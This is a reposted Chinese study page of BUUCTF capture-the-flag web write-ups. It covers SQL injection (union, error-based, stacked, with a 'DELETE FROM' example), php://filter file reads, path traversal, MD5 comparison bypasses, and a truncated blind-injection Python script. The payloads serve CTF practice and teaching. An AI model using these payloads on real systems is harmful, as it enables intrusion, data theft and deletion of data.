【BUUCTF刷题】Web解题方法总结(一) |
您所在的位置:网站首页 › 结论类型的题怎么做 › 【BUUCTF刷题】Web解题方法总结(一) |
文章目录
前言信息搜集SQL缺省代码审计SQL注入常规流程BUUCTF HardSQL堆叠注入使用MD5函数实现sql注入例题BUUCTF WEB [CISCN2019 华北赛区 Day2 Web1]Hack World(SQL盲注,PHP)[GYCTF2020]Blacklist [堆叠注入]
Ping命令nc
tornado文件上传解法
[MRCTF]你传你🐎呢
HTTPPHP序列化和反序列化buu NiZhuanSiWeiBUUCTF [网鼎杯 2020 青龙组]AreUSerialz
SSRF
前言
边刷题边总结些知识点,还在更新,冲!
信息搜集
1.dirsearch使用 下载地址:https://github.com/maurosoria/dirsearch 切换到安装目录 py dirsearch.py -u 网址 -e 语言(一般用*)-u 指定url -e 指定网站语言 SQL缺省payload:*,1 查询语句:select *,1||flag from Flag 解题思路2: payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 解析: 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。 但在mysql 缺省不支持。需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能。 代码审计1.使用php伪协议读文件内容。使用filter过滤器 ?file=php://filter/convert.base64-encode/resource=flag.php例题:BUUCTFweb Secret File ![]() 分析 checkfile()函数 定义了一个白名单:source.php和hint.php,判断 $page是否为空、是否为字符串。 判断 $page是否在白名单里,若存在返回true; 考虑到page有参数的情况, $_page是取出 $page问号前的东西,然后再判断 $_page是否在白名单里,若存在则返回true;两个函数一个mb_substr和mb_strpos,总的意思就是截取变量page中?前面的字符串,然后再进行白名单校验。 之后是url二次编码问题,需要将?进行二次url编码 所以构造payload: file=hint.php%253f/../../../../../../../../ffffllllaaaagggg 或者 file=hint.php?file://../../../../../ffffllllaaaagggg 因为服务器会自动解一次码,所以 $page的值为hint.php%3f../../../../../../../../ffffllllaaaagggg,又一次url解码后,$_page的值为hint.php?../../../../../../../../ffffllllaaaagggg,然后截取问号前面的hint.php判断在白名单里返回true。 SQL注入 常规流程使用hackbar 1.判断是字符型还是数字型 'or 1=1 #如果是整形,他的报错信息应为 " ’ " 那我们需要闭合,由于这个题目没有过滤任何sql注入的关键字,我们直接用 %23(#)来进行闭合sql语句 2.爆列数 ?username=1&password=11' order by 3%23 一般为3时有回显,字段数为33.爆库 ?username=1&password=11' union select 1,version(),database()%234.爆表名 ?username=123&password=111' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%235.爆表 ?username=1&&password=1'union select 1,2,group_concat(id,username,password) from l0ve1ysq1 # 或 ?username=1&&password=1' union select 1,2,group_concat(concat_ws('-',id,username,password)) from l0ve1ysq1%23ps:功能函数 1.concat_ws()函数 功能:一次性指定分隔符 语法:concat_ws(separator,str1,str2,…) 说明:第一个参数指定分隔符 分隔符不能为空 如果为NULL 则返回值NULL 2.concat()函数 功能:将多个字符串拼接成一个字符串 语法:concat(str1,str2,…) 返回结果为连接参数产生的字符串 如果有任何一个参数为NULL 则返回值NULL 3.group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] ) 即按需求打印内容 BUUCTF HardSQL一个字符一个字符试发现很多字符如and,union都被过滤 因为空格被过滤,用()分割语句达到代替空格的效果。=被过滤,可以用like替代。尝试用updatexml报错注入 check.php?username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=2 爆出库名![]()
参考文章:【extractvalue报错注入】https://blog.csdn.net/qin9800/article/details/113446035 堆叠注入在SQL中,分号(;)是用来表示一条sql语句的结束。 而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。 查看表的语句,在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符 1’;desc 1919810931114514; 知识点1:堆叠注入 在SQL中,分号是用来表示一条sql语句的结束。如果在 ; 结束一个sql语句后继续构造下一条语句,效果就是分别执行两条sql语句。由于两条语句堆叠在同一行,而不是原本应该各自占据一行,所以这种注入成为堆叠注入。 知识点2 当数字型字符作为字段、表、库名查询时,应该用反单引号括起来 mysql预处理语句 PREPARE sqla from '[my sql sequece]'; 预定义SQL语句 EXECUTE sqla; 执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE sqla; 删除预定义SQL语句通过变量进行传递 SET @tn = ‘flag’; 存储表名 SET @sql = concat('select * from ', @tn); 存储SQL语句 PREPARE sqla from @sql; 预定义SQL语句 EXECUTE sqla; 执行预定义SQL语句 (DEALLOCATE || DROP) PREPARE sqla; 删除预定义SQL语句 PREPARE语句准备好一条SQL语句,并分配给这条SQL语句一个名字供之后调用。 准备好的SQL语句通过EXECUTE命令执行,通过DEALLOCATE PREPARE命令释放掉。 使用MD5函数实现sql注入BUUCTF easy MD5 1.知识点: (1)MD5函数在加密ffifdyop后返回原始字符串’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c ,另外mysql中以数字开头的字符串会被当做整形处理例如‘6abc’=6。 (2)md5绕过:因为md5不能处理数组,会返回NULL,因为NULL=NULL,可以实现绕过,传入数组,使得 md5 处理两个参数都返回 0 即可: payload:?a[]=1&b[]=2 或者传入两个md5处理后以0e开头的字符串 下列的字符串的MD5值都是0e开头的: QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a2.解题 随便输入后抓包发现Hint中有提示 这样就相当于sql语句为永真实现注入 得到 ![]() 奉上大佬脚本 import requests import time url = "http://f0c8caf0-fc27-454e-83bc-a557d1891b94.node3.buuoj.cn/index.php" temp = {"id" : ""} flag = "" for i in range(1,1000): time.sleep(0.06) low = 32 high =128 mid = (low+high)//2 while(low |
今日新闻 |
点击排行 |
|
推荐新闻 |
图片新闻 |
|
专题文章 |
CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭 |